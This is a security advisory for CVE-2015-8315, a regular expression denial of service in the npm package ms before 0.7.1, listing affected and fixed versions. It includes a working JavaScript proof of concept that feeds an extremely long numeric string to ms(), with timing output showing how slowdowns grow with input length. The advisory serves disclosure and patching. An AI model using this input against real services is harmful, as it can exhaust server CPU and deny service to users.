HighVulnerabilityGHSA-3fx5-fwvr-xrjgCVE-2015-8315Published 24 Oct 2017
Regular Expression Denial of Service in ms
Your version
Affected releases · ms
- 0.7.x0.7.0Fixed in 0.7.1
- 0.6.x and older0.1.0 – 0.6.2No fix, no longer updated
On 0.7.x, the newest line:
npm install ms@0.7.1Every release on a timeline
2.x
Not affected
2.0.0 – 2.1.3
5 releases, latest
0.x
Affected
0.1.0 – 0.7.0
10 releases
Fixed
0.7.1 – 0.7.3
3 releases
What happens
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of Concept
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Results
Showing increase in execution time based on the input string.
$ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s